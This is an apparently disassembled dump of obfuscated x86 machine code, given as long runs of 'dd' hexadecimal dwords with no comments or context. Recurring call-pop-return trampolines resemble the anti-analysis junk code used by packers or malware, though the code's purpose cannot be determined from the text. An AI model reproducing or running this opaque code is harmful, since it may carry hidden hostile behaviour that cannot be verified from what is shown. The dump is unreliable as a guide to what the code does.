dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0D96520C3h
dd 865D991h, 0B3EB4732h, 0E850960Eh, 5, 886AC965h, 5BFC8A60h
dd 860F505Fh, 8, 8B0F56h, 5F000000h, 0FBB70F96h, 0CBA5B5FFh
dd 6A07E3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
dd 55450000h, 0A2864CC3h, 9C9ECFAh, 0E00DF1B5h, 0E9FB8B07h
dd 8, 52586EA8h, 7E5CA94Bh, 6E58A368h, 0F98B66DCh, 5C240481h
dd 6A23B0ABh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1D042444h, 42000000h, 0A414C352h, 0D566AA1Fh, 0BF4E6DBAh
dd 2B01BD2Bh, 858D07E0h, 7E3CBADh, 1EBD9D8Bh, 525007E0h
dd 5BDE8B66h, 66240489h, 0FFBFE1BFh, 0E021CD95h, 0F61F507h
dd 0E8Dh, 858B6000h, 7E02C95h, 31E1B589h, 0C76107E0h, 0E022C585h
dd 307h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1504h, 0C3534300h, 0EB814AF7h, 232B41BDh, 2989C781h
dd 0BD836905h, 7E3CBADh, 68840F00h, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
dd 1B31C356h, 71501E13h, 0E9FC603Dh, 5Ah, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 1Dh, 7FC35141h, 76BA470h
dd 9A9447E5h, 4D8D8903h, 0E807E01Eh, 6, 3C060C80h, 0B70F6439h
dd 81665BF9h, 507970DFh, 110C30h, 0C1011144h, 443010E8h
dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h
dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h
dd 4E98311h, 0EBE775h, 52F8C08Bh, 2DD1B589h, 575F07E0h
dd 1385BD8Bh, 835F07E0h, 0E022C5BDh, 850F0307h, 368h, 80ACBF66h
dd 0CBADBD83h, 0F0007E3h, 35784h, 9E900h, 65650000h, 2F33AECCh
dd 0FF99B16Dh, 0E3CBADB5h, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0DCF75116h
dd 0A6D6963Eh, 8152B190h, 80F669D3h, 95FF5F3Ch, 7E01DA9h
dd 0E6573FBBh, 0A1B58B08h, 0BB07E3CBh, 41652B85h, 106C7h
dd 89560001h, 0E01939B5h, 53505B07h, 0AE857h, 0ABD60000h
dd 0AD292D26h, 0C4E6894h, 895B5B5Fh, 6A2434h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 3405B0C3h
dd 0DC5E8EA5h, 0BFEB3F57h, 78D3342Ah, 0ADB5FFF5h, 0E907E3CBh
dd 7, 98B409F1h, 0FF787083h, 0E0301195h, 0BE78107h, 8B1997D5h
dd 0E3CBA1B5h, 0E5B58907h, 8B07E018h, 0E022D185h, 61BD0B07h
dd 8907E02Ah, 0C486h, 0B1B58900h, 0E907E004h, 0Fh, 0B3CDFA8Dh
dd 0B03B65CAh, 2F2D74Bh, 8BEAB1ECh, 0E0181595h, 56006A07h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 86EB1F2Bh, 6A04C283h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 15042444h, 42000000h, 0BCD3C352h, 5089FE8Ah
dd 99B52920h, 8D07E021h, 0E3E0D485h, 38D0F07h, 0F000000h
dd 8689FFBFh, 0B8h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 48C35646h, 6A657C81h, 51006A00h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
dd 12903125h, 0AE9h, 324FDE00h, 0D0E92C54h, 0FF497C45h
dd 0E3CBADB5h, 6DBD8B07h, 0FF07E022h, 0E02A9995h, 0FE907h
dd 0BB740000h, 0C3A37636h, 76B6CA6Ah, 37780D23h, 0BB509677h
dd 60AD4C44h, 8B66505Fh, 0BD8B96FAh, 7E01B91h, 0CBADB5FFh
dd 6A07E3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
dd 55450000h, 3C8A49C3h, 0E0845BDDh, 8D0F894Ch, 12h, 0BE956h
dd 0DAB60000h, 75F5AF94h, 57EC68F2h, 0BF665FCFh, 95FFB93Dh
dd 7E028E9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 16h, 4CC35747h, 0BD8320CBh, 7E028E1h, 40840F00h, 0F5000000h
dd 0BE950h, 640B0000h, 0CE91548Dh, 8ED2976Ah, 2434898Dh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 1DC35141h
dd 0BC9867DEh, 16B0B03Ah, 499D8B12h, 0FF07E031h, 0E3CBADB5h
dd 0CC8A6007h, 11E861h, 0F4240000h, 18B9092Ch, 5EF0771Ch
dd 94D1930Eh, 66BEA73Ch, 7DAAEB81h, 3595FF5Bh, 5207E030h
dd 38B0Fh, 0BF0F0000h, 0B5FF5BDFh, 7E3CBADh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0C9C35040h, 0CE18EBE9h
dd 800Fh, 9D310000h, 7E00439h, 1B995FFh, 858907E0h, 7E02AD9h
dd 731BD83h, 0F0207E0h, 2384h, 119D3300h, 8B07E01Ah, 0E0203985h
dd 79858907h, 5007E00Fh, 1829BD89h, 0C65B07E0h, 0BD8B0000h
dd 7E03325h, 43D85C7h, 7E0h, 0D3810000h, 2860EB44h, 0FFF43BE9h
dd 0ED9D8BFFh, 8B07E01Fh, 0B5BD2BC1h, 8907E007h, 0E001E985h
dd 0C9858D07h, 0F807E013h, 8922B350h, 0DE8B2404h, 7F59D33h
dd 6A07E0h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 18h, 0BEC35040h, 0DE65BF33h, 1371BD2Bh, 0BD8B07E0h
dd 7E02E95h, 9D8B006Ah, 7E023B9h, 2030BB66h, 0EFB2858Dh
dd 8D8907E4h, 7E02F55h, 0F05C083h, 0C87h, 6870F00h, 1000000h
dd 0E01E5DBDh, 0BE99007h, 0F2000000h, 0B8C562ABh, 26C59896h
dd 0B750B117h, 6A90E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1C0424h, 51410000h, 0D36FAAC3h, 5214C158h, 8B606E0Fh
dd 0BEBA66D0h, 6A6104h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 19h, 0E9C35747h, 7F65D6C7h, 658D290Eh, 6A07E025h
dd 0F9B70F00h, 344195FFh, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1B0424h, 57470000h, 0C32409C3h, 2D0E5075h
dd 10E941h, 375E0000h, 109E40Dh, 3F5A50E1h, 0F816A6B4h
dd 8D8D5B28h, 7E3A393h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 14h, 0A0C35646h, 6AD1FFh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0F7FA2FC3h
dd 0CD4019BFh, 16B1BD83h, 0F0107E0h, 0C985h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 0F8C154BDh, 0EE93B2Dh, 60000000h, 0FA1E5DE8h, 0E4226970h
dd 8A783A34h, 0A5953185h, 6A07E022h, 50006A02h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1404h, 0C3504000h, 0B99D2921h
dd 9007E014h, 880F5250h, 13h, 0DE8h, 0BBECAC00h, 0A361148Eh
dd 0EB00DF54h, 0F5B1441h, 52525031h, 0BB310F5Fh, 50809C4Eh
dd 585A585Ah, 48E0F50h, 53000000h, 905F6160h, 1345BB66h
dd 2A9995FFh, 6A07E0h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1A0424h, 56460000h, 0BF2087C3h, 1EE68748h, 0DF99D8Bh
dd 0A1E907E0h, 0E800000Eh, 0
aBaQfJ db ']í¼ïä',7,'j',0
db 56h, 0E8h, 3
dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
dd 63C4C356h, 4C4F9870h, 0F57C84Eh, 8A5BDABFh, 0DE857DCh
dd 17000000h, 49513003h, 78900CDh, 4977BBE3h, 1061BD33h
dd 5B5B07E0h, 9463858Dh, 858907E3h, 7E014D9h, 0FA8B6690h
dd 8E86050h, 6D000000h, 4D00715Dh, 0E9BB17A0h, 0Dh, 3A81DEEFh
dd 0EA4BE503h, 785661F1h, 25BE58B6h, 6152884Eh, 52006A90h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 0E1332880h, 8DF63A52h, 35FF64h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
dd 0C7BEC351h, 1DCE1D5h, 0E025A195h, 25896407h, 0
dd 5E16BF66h, 20FD85FFh, 6A07E0h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1A0424h, 56460000h, 71404DC3h, 0CDD1F8Dh
dd 0BE8h, 5E437600h, 23BF017Fh, 0B63E7CA4h, 6810Fh, 860F0000h
dd 0
dd 6AFF6A5Fh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1C042444h, 40000000h, 0DF0C350h, 0D4C028F7h, 815E2A34h
dd 8BA5BBDFh, 0A1B5FF7Fh, 6A07E007h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0FFBBC357h
dd 0E0338995h, 117E907h, 89600000h, 0E031E195h, 8D953307h
dd 6107E023h, 8B0F00B0h, 4, 0C06BF66h, 0E78170E6h, 68EE85F1h
dd 21799D89h, 71E407E0h, 5880Fh, 81660000h, 3C0A32E7h
dd 0DA830F61h, 81000000h, 2ABD23C3h, 0C8B60F7Dh, 559BD09h
dd 6BA07E0h, 0F000000h, 681h, 0EED78100h, 8B198C50h, 65B589C1h
dd 6007E032h, 0F9D78166h, 79BD314Eh, 6107E01Fh, 5704E8C1h
dd 2FF98D89h, 665B07E0h, 0BB66E2F7h, 0C82B7A22h, 899BD8Bh
dd 0D18B07E0h, 0E9F98B66h, 81h, 719D8B50h, 5B07E023h, 4858Bh
dd 0B5010000h, 7E00565h, 6607C083h, 0EBCEF381h, 300C083h
dd 0E029299Dh, 0FD03B07h, 0E83h, 76E78100h, 0E91E0933h
dd 49h, 8BFE8B66h, 0FFFFFF8Dh, 840FFFh, 83000000h, 840F01E1h
dd 31h, 10E9h, 6A8DCA00h, 0F8CB8454h, 0D625D687h, 4FF94FEBh
dd 0FFA58327h, 0FEFFFFFFh, 3397BB66h, 49589h, 8D310000h
dd 7E00689h, 0E9h, 0B8B58D00h, 6A07E471h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 5DDAC352h
dd 0FE16C4C8h, 13F59D8Bh, 6A07E0h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ch, 3DC35242h, 99770B77h, 7DF31FAh
dd 22759D89h, 95FF07E0h, 7E018A9h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 19h, 14C35343h, 1E1B767Eh, 0EE928h
dd 0F2D10000h, 9E04834Ch, 0AE9DD091h, 89F9F152h, 0EF8B9h
dd 0C830F00h, 0F000000h, 68Fh, 21BD8B00h, 8307E02Ah, 6AFCE1h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 8DAD98C3h, 7BDAD783h, 0A8BB2387h, 0FC196F82h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0BAC35646h, 87EF8163h
dd 8B491A2Fh, 0E017099Dh, 0E9C02B07h, 14h, 0D913ACDDh
dd 4D5EE187h, 0E160F89Eh, 0C768901h, 0B08FBDDCh, 20419D8Bh
dd 0BA07E0h, 0B3000000h, 0C233AD63h, 0D003E8D1h, 7504E983h
dd 219589F4h, 5307E011h, 0BEA7C781h, 0D5F2252h, 88h, 441BD33h
dd 958B07E0h, 7E01815h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 15h, 0E1C35545h, 498D8B8Eh, 6A07E020h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
dd 0B51CC356h, 1DF288FCh, 14E937h, 0FBD00000h, 68A0988Bh
dd 4ED00CCAh, 894FFB04h, 4472EE84h, 8B5072C6h, 3188BC2h
dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 128D8589h, 6A07E0h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
dd 10A1E8C3h, 76D73FB3h, 8C0F4112h, 2, 0BD8307B3h, 7E012F5h
dd 55840F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 0F352C351h, 0B85Eh
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
dd 52420000h, 0B757B6C3h, 2800FD3h, 8B000000h, 0E88D8DD9h
dd 0F807E04Eh, 0E1FFDF8Bh, 22C5BD83h, 0F0007E0h, 4AC84h
dd 71BD8B00h, 8307E033h, 0E022C5BDh, 840F0107h, 4B4h, 83D9B70Fh
dd 0E022C5BDh, 860F0307h, 46Eh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Bh, 96C35545h, 1B621941h, 66F6CAAAh
dd 91573BBh, 0E00691BDh, 6A6007h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 180424h, 50400000h, 1ABFE2C3h, 0BB66BA8Dh
dd 0DF8B1EBAh, 0E9D98C66h, 0Ch, 4D958AE8h, 78D84B63h, 2164DFD8h
dd 6A04E180h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 50EDC355h, 1672C096h, 0A62D65ECh
dd 840FC90Ah, 15Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 18h, 8BC35646h, 0FCE1F583h, 12C9BD8Bh, 858B07E0h
dd 7E03399h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ch, 9FC35242h, 0EB684769h, 88D5BCA9h, 8BD9B70Fh, 0E01B119Dh
dd 89853307h, 6A07E031h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 897DC355h, 613E81FAh
dd 24048950h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Dh, 4BC35747h, 0AB4ACF68h, 149FF7DAh, 55BD8B00h, 6A07E000h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h
dd 0C3514100h, 0A5852971h, 8B07E01Ch, 0E00DDD9Dh, 4E807h
dd 3FF0000h, 8C0F001Fh, 4, 0A345BB66h, 0DABB5650h, 5B3CF792h
dd 424448Bh, 8BF88Bh, 870Fh, 44890000h, 0D88B0424h, 57006A58h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
dd 4DBD8BC4h, 0BB07E020h, 2BAC31D1h, 21CD95FFh, 0BD0107E0h
dd 7E01555h, 0CBAD8589h, 12E907E3h, 56000000h, 0A836A5ECh
dd 2B1B69EBh, 0BCFF0CE7h, 2E104653h, 228E9B8h, 858B0000h
dd 7E3CBA5h, 59B7A9B3h, 1800C7h, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0CBE3D7C3h
dd 0CF28DCA9h, 0BD8BB30Ah, 7E01D09h, 0CBA9B58Bh, 0DE807E3h
dd 40000000h, 84194BE2h, 42C434FEh, 0DE8A2365h, 12E860h
dd 6A890000h, 0AE9BC8h, 0C60A68E0h, 0AD716068h, 0EB0586Ch
dd 0A98D8B5Eh, 6107E02Ch, 0F9858B5Fh, 6A07E005h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 310DC356h, 0E00FD585h, 6A068907h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 2D7BC351h
dd 6D95AAECh, 68B0FEFh, 89000000h, 0E005A18Dh, 99858B07h
dd 6A07E033h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1A042444h, 43000000h, 0DB6BC353h, 0B56CB88Bh, 446894Ch
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0DDC35141h
dd 228F3F1Bh, 201DBD89h, 605007E0h, 50D18B66h, 5E952h
dd 0CE860000h, 0F93E091h, 61585A31h, 8B243489h, 0E0205DBDh
dd 0A5B5FF07h, 8B07E3CBh, 0E02DE9BDh, 0E9BD8B07h, 0E807E001h
dd 4, 1F03FFh, 7E850h, 7C910000h, 0E87F2F95h, 8C0F42h
dd 5B000000h, 424448Bh, 74541CBFh, 0BB008B14h, 66DE27AFh
dd 4244489h, 0CDC9EBFh, 81665837h, 8D2F3EC3h, 0E3CBAD85h
dd 299D8B07h, 9007E01Eh, 0BB665250h, 310F2715h, 8E960h
dd 0BF90000h, 14E851A1h, 5250EE2Bh, 585A310Fh, 50585A61h
dd 0DD8A5250h, 0E860310Fh, 12h, 1C861ED1h, 2625A6A5h, 25E91BF7h
dd 890E7BFh, 605EBDF7h, 585A6161h, 5880F90h, 0BB000000h
dd 1796557Bh, 11E8h, 17948200h, 0C279AB3Fh, 0D0307C16h
dd 0CAAE0522h, 13E84D12h, 1C000000h, 0E666BD3Dh, 3CF9CA4Fh
dd 0D9F132DAh, 0EADA8485h
dd 9D8B784Ah, 7E02A31h, 95FF5B5Fh, 7E021CDh, 14958589h
dd 0C76107E0h, 0E022C585h, 307h, 5B50900h, 8307E01Ch, 0E3CBADBDh
dd 840F0007h, 32h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 19h, 57C35646h, 65620BE4h, 0F9BD2903h, 0E907E012h
dd 21h, 0AFB0F781h, 30503730h, 4400110Ch, 0E8C10111h, 11443010h
dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h
dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h
dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h
dd 7504E983h, 8B00EBE7h, 7389BBC0h, 6A6F8Bh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0B9A621C3h
dd 5B095CFh, 8B60A534h, 61D18BDAh, 0C1D38166h, 0C5BD83D9h
dd 307E022h, 44C850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1A0424h, 56460000h, 48D9AAC3h, 0C27CA811h
dd 0CBADBD83h, 0F0007E3h, 41D84h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0BB66D255h
dd 0B5FF5858h, 7E3CBADh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 16h, 83C35545h, 8B66EB7Eh, 85D381D9h, 0FF244AECh
dd 0E01DA995h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1904h, 0C3564600h, 9F03D4EDh, 830FAB00h
dd 3, 8BDEBF0Fh, 0E3CBA1B5h, 52006A07h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 8955782h, 0BD8B0142h
dd 7E01635h, 1BB98509h, 6C707E0h, 10001h, 6650FDB7h, 899FFDBBh
dd 81662434h, 0FFF8B3E3h, 0E3CBADB5h, 558D8907h, 2907E013h
dd 0E02929BDh, 1195FF07h, 6A07E030h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0B1F1C352h
dd 0A1B58B75h, 6A07E3CBh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 18042444h, 40000000h, 5A21C350h, 0BC3EDF6h
dd 0E0118D9Dh, 0EE907h, 24AD0000h, 41107FE7h, 4605CAD3h
dd 65951262h, 22D1858Bh, 8B6607E0h, 0C48689D8h, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h
dd 40000000h, 6223C350h, 1F1A610Dh, 0C642BF66h, 1815958Bh
dd 6A07E0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
dd 53430000h, 671CE8C3h, 22D89B6h, 83C8B28Dh, 0DF8B04C2h
dd 0B205089h, 0E02439BDh, 0D4858D07h, 107E3E0h, 0E019D995h
dd 0B8868907h, 0E9000000h, 0Bh, 697FE39h, 0F64E1245h, 6A0D6779h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h
dd 0C3514100h, 602A8202h, 869DBDBFh, 0D195891Eh, 6107E031h
dd 0CBADB5FFh, 6A07E3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1D0424h, 55450000h, 0D82BDEC3h, 6A223FD8h, 0FFEC7F13h
dd 0E02A9995h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1704h, 0C3574700h, 1B6BE8AEh, 1519D09h, 605007E0h
dd 14E8h, 0A00B7200h, 0B5A75965h, 8EA95D15h, 0AF62259Ah
dd 773DDE33h, 5EA0B00Bh, 61C18B66h, 6A243489h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
dd 8B0AC355h, 0ADB5FFDFh, 6A07E3CBh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 544AC351h
dd 0B8816C24h, 0E4BB6692h, 0E995FFFCh, 0F07E028h, 0BD83F8BFh
dd 7E028E1h, 39840F00h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 726BC355h
dd 0DE950h, 0D9E10000h, 3B3AC915h, 64B6C89Fh, 895E2F8Eh
dd 0BD892434h, 7E01831h, 0CBADB5FFh, 6A07E3h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 170424h, 53430000h, 1742CEC3h
dd 55BD8B2Dh, 0FF07E01Bh, 0E0303595h, 52006A07h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
dd 51B69F89h, 0ADB5FF5Bh, 6A07E3CBh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8B67C353h
dd 0B995FFFAh, 6A07E001h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1D042444h, 43000000h, 0F53FC353h, 0BF08E885h
dd 0AE789A0h, 731BD83h, 0F0207E0h, 5584h, 899D8B00h, 8B07E019h
dd 0E0203985h, 50006A07h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1404h, 0C3504000h, 0F6D381AFh, 0C63C3423h
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
dd 51410000h, 0A63570C3h, 338FB6F5h, 85C7D88Bh, 7E0043Dh
dd 0
dd 8A59D8Bh, 0B6E907E0h, 8BFFFFF2h, 52006AC1h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 65829F75h
dd 0F9EA363h, 0BD89DFB7h, 7E02E41h, 13C9858Dh, 6A07E0h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
dd 1F9820C3h, 0FBA76F7Eh, 8B6021C0h, 0E023B98Dh, 0C8B70F07h
dd 6E961h, 6D000000h, 3599186Ch, 2880F50h, 8B000000h, 240489F9h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0BC35747h
dd 6AD62Ch, 7DD9531h, 6A07E0h, 884CBF66h, 49858Dh, 0D2B707E5h
dd 8B05C083h, 0E02A619Dh, 4895007h, 55006A24h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0C549D92Dh
dd 0F781669Dh, 6ACA0Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 0DC35343h, 0FD374E55h, 6AF93641h, 0DEB70F00h
dd 344195FFh, 6A07E0h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1A0424h, 56460000h, 0B1F909C3h, 93AC74Dh, 0A3938D8Dh
dd 6A07E3h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
dd 52420000h, 0D104CCC3h, 29F642E7h, 0E02E35B5h, 6AD1FF07h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h
dd 47000000h, 3770C357h, 959589FFh, 8307E023h, 0E016B1BDh
dd 850F0107h, 8Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Bh, 0C4C35747h, 59B099EDh, 6A148C04h, 50D88B02h
dd 89F98B66h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1D0424h, 57470000h, 78BC76C3h, 16FB0D2Ch, 6041CB3Bh
dd 31919589h, 8D2907E0h, 7E02015h, 0FFD98B61h, 0E02A9995h
dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h
dd 0C3504000h, 9BD67A9h, 0E022A585h, 0EE7E907h, 0E80000h
dd 5D000000h, 53ED81h, 7E907E5h, 0ED000000h, 3F79DE17h
dd 9D096CDDh, 7E01C05h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 19h, 0A9C35343h, 0C27BF706h, 0B5B53190h, 0E907E015h
dd 10h, 28350AE1h, 7A13F7AEh, 0B8483A24h, 0F4AC5083h, 9463858Dh
dd 609007E3h, 8E8h, 5198C200h, 1C0C3661h, 0F18B666Bh, 6E958h
dd 3430000h, 891077BCh, 860F5061h, 7, 0F0C2BF50h, 905F57A2h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0ADC35747h
dd 3066DFCAh, 9589601Ah, 7E02C9Dh, 1C5DBD8Bh, 646107E0h
dd 35FFh, 95290000h, 7E00565h, 258964h, 8B000000h, 0FD85FFDAh
dd 0F07E020h, 0A82h, 0BD8B6000h, 7E013BDh, 6A615950h, 50006AFFh
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 286E785Eh, 0CD9D8BE1h, 0FF07E026h, 0E023C5B5h, 12E807h
dd 0F9EE0000h, 0A1CC26D8h, 10AB984Ch, 3B0AC7DDh, 0ED7CC94Fh
dd 12E8h, 45D4AF00h, 5FBF0D48h, 90E8BD77h, 0FF20C723h
dd 0E87FAE60h, 0Bh, 91D4CB80h, 0A070BB4Eh, 5B12F810h, 95FF5B5Bh
dd 7E03389h, 12EE9h, 6850F00h, 29000000h, 0E02B418Dh, 0FC00B007h
dd 12E870E6h, 8D000000h, 5C3139E3h, 470B2766h, 8B536F2Ah
dd 8AC4450h, 0DE9F3h, 0A7320000h, 9A254204h, 1C8BAF8Ah
dd 5F33E7B8h, 0BB6671E4h, 613C6FD1h, 0E5830Fh, 85890000h
dd 7E01B7Dh, 8AC8B60Fh, 6BADCh, 9D8B0000h, 7E01C4Dh, 0BD31F560h
dd 7E02015h, 8BC18B61h, 0E00201BDh, 4E8C107h, 0E299D89h
dd 0F76607E0h, 6E9E2h, 0D8AF0000h, 83E2888Ch, 0DB81C82Bh
dd 495436EAh, 8589D18Bh, 7E020D5h, 92E9h, 0D98B6600h, 2DC78166h
dd 44858B25h, 895F4C4Ch, 0E02F0585h, 7C08307h, 9E9h, 0BBE8DE00h
dd 8504409Ah, 0C0834501h, 0E2DABB00h, 0D03B0A6Eh, 0E830Fh
dd 9D8B0000h, 7E02EE5h, 52E9h, 0DEB70F00h, 0FFFF8D8Bh
dd 0ADBBFFFFh, 83173C9Fh, 840F01E1h, 3Bh, 9E8h, 0EE9B0800h
dd 0CBA1459Fh, 816647A7h, 5B4E8BD7h, 2689BD2Bh, 0A58307E0h
dd 0FFFFFFFFh, 38F0FFEh, 66000000h, 9589D98Bh, 5F4C4C44h
dd 2FB19589h, 0E907E0h, 8D000000h, 0E480B0B5h, 53006A07h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 94940911h, 0DB81006Ah, 2407F0C7h, 18A995FFh, 9D8B07E0h
dd 7E02BADh, 1006B9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1A04h, 0C3524200h, 1EC87784h, 0F971C17Fh
dd 6AFCE183h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 5855C350h, 6AFC3DA3h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
dd 0EA2C352h, 13164EFh, 8B666079h, 0C02B61C6h, 0BAFD8Ah
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 17042444h, 41000000h, 3BD5C351h, 33AD9F40h, 3E8D1C2h
dd 4E983D0h, 6AF475h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 170424h, 52420000h, 44E861C3h, 56006A84h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 45C10BD9h
dd 66F9D693h, 0CE85EF81h, 880Dh, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0FBB70F1Eh
dd 8BDFBF0Fh, 0E0181595h, 51006A07h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 34C1F835h
dd 0E8D1B081h, 0Eh, 8DE48120h, 0F676E3D4h, 22884CB1h, 0BF66EBCDh
